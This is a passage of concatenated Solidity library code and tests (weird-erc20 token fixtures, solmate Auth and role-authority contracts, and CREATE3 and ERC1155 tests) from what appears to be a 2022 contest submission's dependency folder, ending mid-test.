// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
contract ERC20 {
// --- ERC20 Data ---
string public constant name = "Token";
string public constant symbol = "TKN";
uint8 public decimals = 18;
uint96 internal supply;
mapping (address => uint96) internal balances;
mapping (address => mapping (address => uint96)) internal allowances;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
// --- Math ---
function add(uint96 x, uint96 y) internal pure returns (uint96 z) {
require((z = x + y) >= x);
}
function sub(uint96 x, uint96 y) internal pure returns (uint96 z) {
require((z = x - y) <= x);
}
function safe96(uint256 n) internal pure returns (uint96) {
require(n < 2**96);
return uint96(n);
}
// --- Init ---
constructor(uint96 _supply) public {
supply = _supply;
balances[msg.sender] = _supply;
emit Transfer(address(0), msg.sender, _supply);
}
// --- Getters ---
function totalSupply() external view returns (uint) {
return supply;
}
function balanceOf(address usr) external view returns (uint) {
return balances[usr];
}
function allowance(address src, address dst) external view returns (uint) {
return allowances[src][dst];
}
// --- Token ---
function transfer(address dst, uint wad) virtual public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad) virtual public returns (bool) {
uint96 amt = safe96(wad);
if (src != msg.sender && allowances[src][msg.sender] != type(uint96).max) {
allowances[src][msg.sender] = sub(allowances[src][msg.sender], amt);
}
balances[src] = sub(balances[src], amt);
balances[dst] = add(balances[dst], amt);
emit Transfer(src, dst, wad);
return true;
}
function approve(address usr, uint wad) virtual public returns (bool) {
uint96 amt;
if (wad == type(uint).max) {
amt = type(uint96).max;
} else {
amt = safe96(wad);
}
allowances[msg.sender][usr] = amt;
emit Approval(msg.sender, usr, amt);
return true;
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/Upgradable.sol
================================================
// Copyright (C) 2020 d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
import {ERC20} from "./ERC20.sol";
contract Proxy {
bytes32 constant ADMIN_KEY = bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1);
bytes32 constant IMPLEMENTATION_KEY = bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1);
// --- init ---
constructor(uint totalSupply) public {
give(msg.sender);
upgrade(address(new ERC20(totalSupply)));
}
// --- auth ---
modifier auth() { require(msg.sender == owner(), "unauthorised"); _; }
function owner() public view returns (address usr) {
bytes32 slot = ADMIN_KEY;
assembly { usr := sload(slot) }
}
function give(address usr) public auth {
bytes32 slot = ADMIN_KEY;
assembly { sstore(slot, usr) }
}
// --- upgrade ---
function implementation() public view returns (address impl) {
bytes32 slot = IMPLEMENTATION_KEY;
assembly { impl := sload(slot) }
}
function upgrade(address impl) public auth {
bytes32 slot = IMPLEMENTATION_KEY;
assembly { sstore(slot, impl) }
}
// --- proxy ---
fallback() external payable {
address impl = implementation();
(bool success, bytes memory returndata) = impl.delegatecall{gas: gasleft()}(msg.data);
require(success);
assembly { return(add(returndata, 0x20), mload(returndata)) }
}
receive() external payable { revert("don't send me ETH!"); }
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/test.t.sol
================================================
// Copyright (C) 2020 d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
import {DSTest} from "ds-test/test.sol";
import {ProxiedToken, TokenProxy} from "./Proxied.sol";
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
contract User {
ERC20 token;
constructor(ERC20 _token) public {
token = _token;
}
function transfer(address dst, uint amt) external returns (bool) {
return token.transfer(dst, amt);
}
function transferFrom(address src, address dst, uint amt) external returns (bool) {
return token.transferFrom(src, dst, amt);
}
function approve(address usr, uint amt) external returns (bool) {
return token.approve(usr, amt);
}
}
contract TestProxy is DSTest {
ProxiedToken underlying;
ERC20 proxy1;
ERC20 proxy2;
User user1;
User user2;
function setUp() public {
underlying = new ProxiedToken(type(uint256).max);
proxy1 = ERC20(address(new TokenProxy(address(underlying))));
proxy2 = ERC20(address(new TokenProxy(address(underlying))));
underlying.setDelegator(address(proxy1), true);
underlying.setDelegator(address(proxy2), true);
user1 = new User(proxy1);
user2 = new User(proxy2);
proxy1.transfer(address(user1), proxy1.totalSupply() / 2);
proxy2.transfer(address(user1), proxy1.totalSupply() / 2);
}
function testProxy(uint128 amt) public {
assertEq(proxy1.balanceOf(address(user1)), proxy2.balanceOf(address(user1)));
assertEq(proxy1.balanceOf(address(user2)), proxy2.balanceOf(address(user2)));
uint preBal1 = proxy2.balanceOf(address(user1));
uint preBal2 = proxy1.balanceOf(address(user2));
user1.transfer(address(user2), amt);
assertEq(proxy2.balanceOf(address(user1)), preBal1 - amt);
assertEq(proxy1.balanceOf(address(user2)), preBal2 + amt);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/package.json
================================================
{
"name": "@rari-capital/solmate",
"license": "AGPL-3.0-only",
"version": "6.0.0",
"description": "Modern, opinionated and gas optimized building blocks for smart contract development.",
"files": [
"src/**/*.sol"
],
"repository": {
"type": "git",
"url": "git+https://github.com/Rari-Capital/solmate.git"
},
"devDependencies": {
"prettier": "^2.3.1",
"prettier-plugin-solidity": "^1.0.0-beta.13"
},
"scripts": {
"lint": "prettier --write src/**/*.sol"
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/shell.nix
================================================
let
pkgs = import (builtins.fetchGit rec {
name = "dapptools-${rev}";
url = https://github.com/dapphub/dapptools;
rev = "fb9476ded759da44c449eb391cc67bfb0df61112";
}) {};
in
pkgs.mkShell {
src = null;
name = "rari-capital-solmate";
buildInputs = with pkgs; [
pkgs.dapp
];
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/auth/Auth.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Provides a flexible and updatable auth pattern which is completely separate from application logic.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)
/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)
abstract contract Auth {
event OwnerUpdated(address indexed user, address indexed newOwner);
event AuthorityUpdated(address indexed user, Authority indexed newAuthority);
address public owner;
Authority public authority;
constructor(address _owner, Authority _authority) {
owner = _owner;
authority = _authority;
emit OwnerUpdated(msg.sender, _owner);
emit AuthorityUpdated(msg.sender, _authority);
}
modifier requiresAuth() {
require(isAuthorized(msg.sender, msg.sig), "UNAUTHORIZED");
_;
}
function isAuthorized(address user, bytes4 functionSig) internal view virtual returns (bool) {
Authority auth = authority; // Memoizing authority saves us a warm SLOAD, around 100 gas.
// Checking if the caller is the owner only after calling the authority saves gas in most cases, but be
// aware that this makes protected functions uncallable even to the owner if the authority is out of order.
return (address(auth) != address(0) && auth.canCall(user, address(this), functionSig)) || user == owner;
}
function setAuthority(Authority newAuthority) public virtual {
// We check if the caller is the owner first because we want to ensure they can
// always swap out the authority even if it's reverting or using up a lot of gas.
require(msg.sender == owner || authority.canCall(msg.sender, address(this), msg.sig));
authority = newAuthority;
emit AuthorityUpdated(msg.sender, newAuthority);
}
function setOwner(address newOwner) public virtual requiresAuth {
owner = newOwner;
emit OwnerUpdated(msg.sender, newOwner);
}
}
/// @notice A generic interface for a contract which provides authorization data to an Auth instance.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)
/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)
interface Authority {
function canCall(
address user,
address target,
bytes4 functionSig
) external view returns (bool);
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/auth/authorities/MultiRolesAuthority.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {Auth, Authority} from "../Auth.sol";
/// @notice Flexible and target agnostic role based Authority that supports up to 256 roles.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/authorities/MultiRolesAuthority.sol)
contract MultiRolesAuthority is Auth, Authority {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event UserRoleUpdated(address indexed user, uint8 indexed role, bool enabled);
event PublicCapabilityUpdated(bytes4 indexed functionSig, bool enabled);
event RoleCapabilityUpdated(uint8 indexed role, bytes4 indexed functionSig, bool enabled);
event TargetCustomAuthorityUpdated(address indexed target, Authority indexed authority);
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(address _owner, Authority _authority) Auth(_owner, _authority) {}
/*///////////////////////////////////////////////////////////////
CUSTOM TARGET AUTHORITY STORAGE
//////////////////////////////////////////////////////////////*/
mapping(address => Authority) public getTargetCustomAuthority;
/*///////////////////////////////////////////////////////////////
ROLE/USER STORAGE
//////////////////////////////////////////////////////////////*/
mapping(address => bytes32) public getUserRoles;
mapping(bytes4 => bool) public isCapabilityPublic;
mapping(bytes4 => bytes32) public getRolesWithCapability;
function doesUserHaveRole(address user, uint8 role) public view virtual returns (bool) {
return (uint256(getUserRoles[user]) >> role) & 1 != 0;
}
function doesRoleHaveCapability(uint8 role, bytes4 functionSig) public view virtual returns (bool) {
return (uint256(getRolesWithCapability[functionSig]) >> role) & 1 != 0;
}
/*///////////////////////////////////////////////////////////////
AUTHORIZATION LOGIC
//////////////////////////////////////////////////////////////*/
function canCall(
address user,
address target,
bytes4 functionSig
) public view virtual override returns (bool) {
Authority customAuthority = getTargetCustomAuthority[target];
if (address(customAuthority) != address(0)) return customAuthority.canCall(user, target, functionSig);
return
isCapabilityPublic[functionSig] || bytes32(0) != getUserRoles[user] & getRolesWithCapability[functionSig];
}
/*///////////////////////////////////////////////////////////////
CUSTOM TARGET AUTHORITY CONFIGURATION LOGIC
//////////////////////////////////////////////////////////////*/
function setTargetCustomAuthority(address target, Authority customAuthority) public virtual requiresAuth {
getTargetCustomAuthority[target] = customAuthority;
emit TargetCustomAuthorityUpdated(target, customAuthority);
}
/*///////////////////////////////////////////////////////////////
PUBLIC CAPABILITY CONFIGURATION LOGIC
//////////////////////////////////////////////////////////////*/
function setPublicCapability(bytes4 functionSig, bool enabled) public virtual requiresAuth {
isCapabilityPublic[functionSig] = enabled;
emit PublicCapabilityUpdated(functionSig, enabled);
}
/*///////////////////////////////////////////////////////////////
USER ROLE ASSIGNMENT LOGIC
//////////////////////////////////////////////////////////////*/
function setUserRole(
address user,
uint8 role,
bool enabled
) public virtual requiresAuth {
if (enabled) {
getUserRoles[user] |= bytes32(1 << role);
} else {
getUserRoles[user] &= ~bytes32(1 << role);
}
emit UserRoleUpdated(user, role, enabled);
}
/*///////////////////////////////////////////////////////////////
ROLE CAPABILITY CONFIGURATION LOGIC
//////////////////////////////////////////////////////////////*/
function setRoleCapability(
uint8 role,
bytes4 functionSig,
bool enabled
) public virtual requiresAuth {
if (enabled) {
getRolesWithCapability[functionSig] |= bytes32(1 << role);
} else {
getRolesWithCapability[functionSig] &= ~bytes32(1 << role);
}
emit RoleCapabilityUpdated(role, functionSig, enabled);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/auth/authorities/RolesAuthority.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {Auth, Authority} from "../Auth.sol";
/// @notice Role based Authority that supports up to 256 roles.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/authorities/RolesAuthority.sol)
/// @author Modified from Dappsys (https://github.com/dapphub/ds-roles/blob/master/src/roles.sol)
contract RolesAuthority is Auth, Authority {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event UserRoleUpdated(address indexed user, uint8 indexed role, bool enabled);
event PublicCapabilityUpdated(address indexed target, bytes4 indexed functionSig, bool enabled);
event RoleCapabilityUpdated(uint8 indexed role, address indexed target, bytes4 indexed functionSig, bool enabled);
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(address _owner, Authority _authority) Auth(_owner, _authority) {}
/*///////////////////////////////////////////////////////////////
ROLE/USER STORAGE
//////////////////////////////////////////////////////////////*/
mapping(address => bytes32) public getUserRoles;
mapping(address => mapping(bytes4 => bool)) public isCapabilityPublic;
mapping(address => mapping(bytes4 => bytes32)) public getRolesWithCapability;
function doesUserHaveRole(address user, uint8 role) public view virtual returns (bool) {
return (uint256(getUserRoles[user]) >> role) & 1 != 0;
}
function doesRoleHaveCapability(
uint8 role,
address target,
bytes4 functionSig
) public view virtual returns (bool) {
return (uint256(getRolesWithCapability[target][functionSig]) >> role) & 1 != 0;
}
/*///////////////////////////////////////////////////////////////
AUTHORIZATION LOGIC
//////////////////////////////////////////////////////////////*/
function canCall(
address user,
address target,
bytes4 functionSig
) public view virtual override returns (bool) {
return
isCapabilityPublic[target][functionSig] ||
bytes32(0) != getUserRoles[user] & getRolesWithCapability[target][functionSig];
}
/*///////////////////////////////////////////////////////////////
ROLE CAPABILITY CONFIGURATION LOGIC
//////////////////////////////////////////////////////////////*/
function setPublicCapability(
address target,
bytes4 functionSig,
bool enabled
) public virtual requiresAuth {
isCapabilityPublic[target][functionSig] = enabled;
emit PublicCapabilityUpdated(target, functionSig, enabled);
}
function setRoleCapability(
uint8 role,
address target,
bytes4 functionSig,
bool enabled
) public virtual requiresAuth {
if (enabled) {
getRolesWithCapability[target][functionSig] |= bytes32(1 << role);
} else {
getRolesWithCapability[target][functionSig] &= ~bytes32(1 << role);
}
emit RoleCapabilityUpdated(role, target, functionSig, enabled);
}
/*///////////////////////////////////////////////////////////////
USER ROLE ASSIGNMENT LOGIC
//////////////////////////////////////////////////////////////*/
function setUserRole(
address user,
uint8 role,
bool enabled
) public virtual requiresAuth {
if (enabled) {
getUserRoles[user] |= bytes32(1 << role);
} else {
getUserRoles[user] &= ~bytes32(1 << role);
}
emit UserRoleUpdated(user, role, enabled);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/Auth.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {MockAuthChild} from "./utils/mocks/MockAuthChild.sol";
import {MockAuthority} from "./utils/mocks/MockAuthority.sol";
import {Authority} from "../auth/Auth.sol";
contract OutOfOrderAuthority is Authority {
function canCall(
address,
address,
bytes4
) public pure override returns (bool) {
revert("OUT_OF_ORDER");
}
}
contract AuthTest is DSTestPlus {
MockAuthChild mockAuthChild;
function setUp() public {
mockAuthChild = new MockAuthChild();
}
function testSetOwnerAsOwner() public {
mockAuthChild.setOwner(address(0xBEEF));
assertEq(mockAuthChild.owner(), address(0xBEEF));
}
function testSetAuthorityAsOwner() public {
mockAuthChild.setAuthority(Authority(address(0xBEEF)));
assertEq(address(mockAuthChild.authority()), address(0xBEEF));
}
function testCallFunctionAsOwner() public {
mockAuthChild.updateFlag();
}
function testSetOwnerWithPermissiveAuthority() public {
mockAuthChild.setAuthority(new MockAuthority(true));
mockAuthChild.setOwner(address(0));
mockAuthChild.setOwner(address(this));
}
function testSetAuthorityWithPermissiveAuthority() public {
mockAuthChild.setAuthority(new MockAuthority(true));
mockAuthChild.setOwner(address(0));
mockAuthChild.setAuthority(Authority(address(0xBEEF)));
}
function testCallFunctionWithPermissiveAuthority() public {
mockAuthChild.setAuthority(new MockAuthority(true));
mockAuthChild.setOwner(address(0));
mockAuthChild.updateFlag();
}
function testSetAuthorityAsOwnerWithOutOfOrderAuthority() public {
mockAuthChild.setAuthority(new OutOfOrderAuthority());
mockAuthChild.setAuthority(new MockAuthority(true));
}
function testFailSetOwnerAsNonOwner() public {
mockAuthChild.setOwner(address(0));
mockAuthChild.setOwner(address(0xBEEF));
}
function testFailSetAuthorityAsNonOwner() public {
mockAuthChild.setOwner(address(0));
mockAuthChild.setAuthority(Authority(address(0xBEEF)));
}
function testFailCallFunctionAsNonOwner() public {
mockAuthChild.setOwner(address(0));
mockAuthChild.updateFlag();
}
function testFailSetOwnerWithRestrictiveAuthority() public {
mockAuthChild.setAuthority(new MockAuthority(false));
mockAuthChild.setOwner(address(0));
mockAuthChild.setOwner(address(this));
}
function testFailSetAuthorityWithRestrictiveAuthority() public {
mockAuthChild.setAuthority(new MockAuthority(false));
mockAuthChild.setOwner(address(0));
mockAuthChild.setAuthority(Authority(address(0xBEEF)));
}
function testFailCallFunctionWithRestrictiveAuthority() public {
mockAuthChild.setAuthority(new MockAuthority(false));
mockAuthChild.setOwner(address(0));
mockAuthChild.updateFlag();
}
function testFailSetOwnerAsOwnerWithOutOfOrderAuthority() public {
mockAuthChild.setAuthority(new OutOfOrderAuthority());
mockAuthChild.setOwner(address(0));
}
function testFailCallFunctionAsOwnerWithOutOfOrderAuthority() public {
mockAuthChild.setAuthority(new OutOfOrderAuthority());
mockAuthChild.updateFlag();
}
function testSetOwnerAsOwner(address newOwner) public {
mockAuthChild.setOwner(newOwner);
assertEq(mockAuthChild.owner(), newOwner);
}
function testSetAuthorityAsOwner(Authority newAuthority) public {
mockAuthChild.setAuthority(newAuthority);
assertEq(address(mockAuthChild.authority()), address(newAuthority));
}
function testSetOwnerWithPermissiveAuthority(address deadOwner, address newOwner) public {
if (deadOwner == address(this)) deadOwner = address(0);
mockAuthChild.setAuthority(new MockAuthority(true));
mockAuthChild.setOwner(deadOwner);
mockAuthChild.setOwner(newOwner);
}
function testSetAuthorityWithPermissiveAuthority(address deadOwner, Authority newAuthority) public {
if (deadOwner == address(this)) deadOwner = address(0);
mockAuthChild.setAuthority(new MockAuthority(true));
mockAuthChild.setOwner(deadOwner);
mockAuthChild.setAuthority(newAuthority);
}
function testCallFunctionWithPermissiveAuthority(address deadOwner) public {
if (deadOwner == address(this)) deadOwner = address(0);
mockAuthChild.setAuthority(new MockAuthority(true));
mockAuthChild.setOwner(deadOwner);
mockAuthChild.updateFlag();
}
function testFailSetOwnerAsNonOwner(address deadOwner, address newOwner) public {
if (deadOwner == address(this)) deadOwner = address(0);
mockAuthChild.setOwner(deadOwner);
mockAuthChild.setOwner(newOwner);
}
function testFailSetAuthorityAsNonOwner(address deadOwner, Authority newAuthority) public {
mockAuthChild.setOwner(deadOwner);
mockAuthChild.setAuthority(newAuthority);
}
function testFailCallFunctionAsNonOwner(address deadOwner) public {
if (deadOwner == address(this)) deadOwner = address(0);
mockAuthChild.setOwner(deadOwner);
mockAuthChild.updateFlag();
}
function testFailSetOwnerWithRestrictiveAuthority(address deadOwner, address newOwner) public {
if (deadOwner == address(this)) deadOwner = address(0);
mockAuthChild.setAuthority(new MockAuthority(false));
mockAuthChild.setOwner(deadOwner);
mockAuthChild.setOwner(newOwner);
}
function testFailSetAuthorityWithRestrictiveAuthority(address deadOwner, Authority newAuthority) public {
if (deadOwner == address(this)) deadOwner = address(0);
mockAuthChild.setAuthority(new MockAuthority(false));
mockAuthChild.setOwner(deadOwner);
mockAuthChild.setAuthority(newAuthority);
}
function testFailCallFunctionWithRestrictiveAuthority(address deadOwner) public {
if (deadOwner == address(this)) deadOwner = address(0);
mockAuthChild.setAuthority(new MockAuthority(false));
mockAuthChild.setOwner(deadOwner);
mockAuthChild.updateFlag();
}
function testFailSetOwnerAsOwnerWithOutOfOrderAuthority(address deadOwner) public {
if (deadOwner == address(this)) deadOwner = address(0);
mockAuthChild.setAuthority(new OutOfOrderAuthority());
mockAuthChild.setOwner(deadOwner);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/Bytes32AddressLib.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {Bytes32AddressLib} from "../utils/Bytes32AddressLib.sol";
contract Bytes32AddressLibTest is DSTestPlus {
function testFillLast12Bytes() public {
assertEq(
Bytes32AddressLib.fillLast12Bytes(0xfEEDFaCEcaFeBEEFfEEDFACecaFEBeeFfeEdfAce),
0xfeedfacecafebeeffeedfacecafebeeffeedface000000000000000000000000
);
}
function testFromLast20Bytes() public {
assertEq(
Bytes32AddressLib.fromLast20Bytes(0xfeedfacecafebeeffeedfacecafebeeffeedfacecafebeeffeedfacecafebeef),
0xCAfeBeefFeedfAceCAFeBEEffEEDfaCecafEBeeF
);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/CREATE3.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {WETH} from "../tokens/WETH.sol";
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {MockERC20} from "./utils/mocks/MockERC20.sol";
import {MockAuthChild} from "./utils/mocks/MockAuthChild.sol";
import {CREATE3} from "../utils/CREATE3.sol";
contract CREATE3Test is DSTestPlus {
function testDeployERC20() public {
bytes32 salt = keccak256(bytes("A salt!"));
MockERC20 deployed = MockERC20(
CREATE3.deploy(
salt,
abi.encodePacked(type(MockERC20).creationCode, abi.encode("Mock Token", "MOCK", 18)),
0
)
);
assertEq(address(deployed), CREATE3.getDeployed(salt));
assertEq(deployed.name(), "Mock Token");
assertEq(deployed.symbol(), "MOCK");
assertEq(deployed.decimals(), 18);
}
function testFailDoubleDeploySameBytecode() public {
bytes32 salt = keccak256(bytes("Salty..."));
CREATE3.deploy(salt, type(MockAuthChild).creationCode, 0);
CREATE3.deploy(salt, type(MockAuthChild).creationCode, 0);
}
function testFailDoubleDeployDifferentBytecode() public {
bytes32 salt = keccak256(bytes("and sweet!"));
CREATE3.deploy(salt, type(WETH).creationCode, 0);
CREATE3.deploy(salt, type(MockAuthChild).creationCode, 0);
}
function testDeployERC20(
bytes32 salt,
string calldata name,
string calldata symbol,
uint8 decimals
) public {
MockERC20 deployed = MockERC20(
CREATE3.deploy(salt, abi.encodePacked(type(MockERC20).creationCode, abi.encode(name, symbol, decimals)), 0)
);
assertEq(address(deployed), CREATE3.getDeployed(salt));
assertEq(deployed.name(), name);
assertEq(deployed.symbol(), symbol);
assertEq(deployed.decimals(), decimals);
}
function testFailDoubleDeploySameBytecode(bytes32 salt, bytes calldata bytecode) public {
CREATE3.deploy(salt, bytecode, 0);
CREATE3.deploy(salt, bytecode, 0);
}
function testFailDoubleDeployDifferentBytecode(
bytes32 salt,
bytes calldata bytecode1,
bytes calldata bytecode2
) public {
CREATE3.deploy(salt, bytecode1, 0);
CREATE3.deploy(salt, bytecode2, 0);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/DSTestPlus.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
contract DSTestPlusTest is DSTestPlus {
function testBound() public {
assertEq(bound(5, 0, 4), 0);
assertEq(bound(0, 69, 69), 69);
assertEq(bound(0, 68, 69), 68);
assertEq(bound(10, 150, 190), 174);
assertEq(bound(300, 2800, 3200), 3107);
assertEq(bound(9999, 1337, 6666), 4669);
}
function testFailBoundMinBiggerThanMax() public pure {
bound(5, 100, 10);
}
function testBound(
uint256 num,
uint256 min,
uint256 max
) public {
if (min > max) (min, max) = (max, min);
uint256 bounded = bound(num, min, max);
assertGe(bounded, min);
assertLe(bounded, max);
}
function testFailBoundMinBiggerThanMax(
uint256 num,
uint256 min,
uint256 max
) public pure {
if (max == min) {
unchecked {
min++; // Overflow is handled below.
}
}
if (max > min) (min, max) = (max, min);
bound(num, min, max);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/ERC1155.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {DSInvariantTest} from "./utils/DSInvariantTest.sol";
import {MockERC1155} from "./utils/mocks/MockERC1155.sol";
import {ERC1155User} from "./utils/users/ERC1155User.sol";
import {ERC1155TokenReceiver} from "../tokens/ERC1155.sol";
contract ERC1155Recipient is ERC1155TokenReceiver {
address public operator;
address public from;
uint256 public id;
uint256 public amount;
bytes public mintData;
function onERC1155Received(
address _operator,
address _from,
uint256 _id,
uint256 _amount,
bytes calldata _data
) public override returns (bytes4) {
operator = _operator;
from = _from;
id = _id;
amount = _amount;
mintData = _data;
return ERC1155TokenReceiver.onERC1155Received.selector;
}
address public batchOperator;
address public batchFrom;
uint256[] internal _batchIds;
uint256[] internal _batchAmounts;
bytes public batchData;
function batchIds() external view returns (uint256[] memory) {
return _batchIds;
}
function batchAmounts() external view returns (uint256[] memory) {
return _batchAmounts;
}
function onERC1155BatchReceived(
address _operator,
address _from,
uint256[] calldata _ids,
uint256[] calldata _amounts,
bytes calldata _data
) external override returns (bytes4) {
batchOperator = _operator;
batchFrom = _from;
_batchIds = _ids;
_batchAmounts = _amounts;
batchData = _data;
return ERC1155TokenReceiver.onERC1155BatchReceived.selector;
}
}
contract RevertingERC1155Recipient is ERC1155TokenReceiver {
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) public pure override returns (bytes4) {
revert(string(abi.encodePacked(ERC1155TokenReceiver.onERC1155Received.selector)));
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure override returns (bytes4) {
revert(string(abi.encodePacked(ERC1155TokenReceiver.onERC1155BatchReceived.selector)));
}
}
contract WrongReturnDataERC1155Recipient is ERC1155TokenReceiver {
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) public pure override returns (bytes4) {
return 0xCAFEBEEF;
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure override returns (bytes4) {
return 0xCAFEBEEF;
}
}
contract NonERC1155Recipient {}
contract ERC1155Test is DSTestPlus, ERC1155TokenReceiver {
MockERC1155 token;
mapping(address => mapping(uint256 => uint256)) public userMintAmounts;
mapping(address => mapping(uint256 => uint256)) public userTransferOrBurnAmounts;
function setUp() public {
token = new MockERC1155();
}
function testMintToEOA() public {
token.mint(address(0xBEEF), 1337, 1, "");
assertEq(token.balanceOf(address(0xBEEF), 1337), 1);
}
function testMintToERC1155Recipient() public {
ERC1155Recipient to = new ERC1155Recipient();
token.mint(address(to), 1337, 1, "testing 123");
assertEq(token.balanceOf(address(to), 1337), 1);
assertEq(to.operator(), address(this));
assertEq(to.from(), address(0));
assertEq(to.id(), 1337);
assertBytesEq(to.mintData(), "testing 123");
}
function testBatchMintToEOA() public {
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory amounts = new uint256[](5);
amounts[0] = 100;
amounts[1] = 200;
amounts[2] = 300;
amounts[3] = 400;
amounts[4] = 500;
token.batchMint(address(0xBEEF), ids, amounts, "");
assertEq(token.balanceOf(address(0xBEEF), 1337), 100);
assertEq(token.balanceOf(address(0xBEEF), 1338), 200);
assertEq(token.balanceOf(address(0xBEEF), 1339), 300);
assertEq(token.balanceOf(address(0xBEEF), 1340), 400);
assertEq(token.balanceOf(address(0xBEEF), 1341), 500);
}
function testBatchMintToERC1155Recipient() public {
ERC1155Recipient to = new ERC1155Recipient();
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory amounts = new uint256[](5);
amounts[0] = 100;
amounts[1] = 200;
amounts[2] = 300;
amounts[3] = 400;
amounts[4] = 500;
token.batchMint(address(to), ids, amounts, "testing 123");
assertEq(to.batchOperator(), address(this));
assertEq(to.batchFrom(), address(0));
assertUintArrayEq(to.batchIds(), ids);
assertUintArrayEq(to.batchAmounts(), amounts);
assertBytesEq(to.batchData(), "testing 123");
assertEq(token.balanceOf(address(to), 1337), 100);
assertEq(token.balanceOf(address(to), 1338), 200);
assertEq(token.balanceOf(address(to), 1339), 300);
assertEq(token.balanceOf(address(to), 1340), 400);
assertEq(token.balanceOf(address(to), 1341), 500);
}
function testBurn() public {
token.mint(address(0xBEEF), 1337, 100, "");
token.burn(address(0xBEEF), 1337, 70);
assertEq(token.balanceOf(address(0xBEEF), 1337), 30);
}
function testBatchBurn() public {
uint256[] memory ids = new uint256[](5);
ids[0] = 1337;
ids[1] = 1338;
ids[2] = 1339;
ids[3] = 1340;
ids[4] = 1341;
uint256[] memory mintAmounts = new uint256[](5);
mintAmounts[0] = 100;
mintAmounts[1] = 200;
mintAmounts[2] = 300;
mintAmounts[3] = 400;
mintAmounts[4] = 500;
uint256[] memory burnAmounts = new uint256[](5);
burnAmounts[0] = 50;
burnAmounts[1] = 100;
burnAmounts[2] = 150;
burnAmounts[3] = 200;
burnAmounts[4] = 250;
token.batchMint(address(0xBEEF), ids, mintAmounts, "");
token.batchBurn(address(0xBEEF), ids, burnAmounts);
assertEq(token.balanceOf(address(0xBEEF), 1337), 50);
assertEq(token.balanceOf(address(0xBEEF), 1338), 100);
assertEq(token.balanceOf(address(0xBEEF), 1339), 150);
assertEq(token.balanceOf(address(0xBEEF), 1340), 200);
assertEq(token.balanceOf(address(0xBEEF), 1341), 250);
}
function testApproveAll() public {
token.setApprovalForAll(address(0xBEEF), true);
assertTrue(token.isApprovedForAll(address(this), address(0xBEEF)));
}
function testSafeTransferFromToEOA() public {
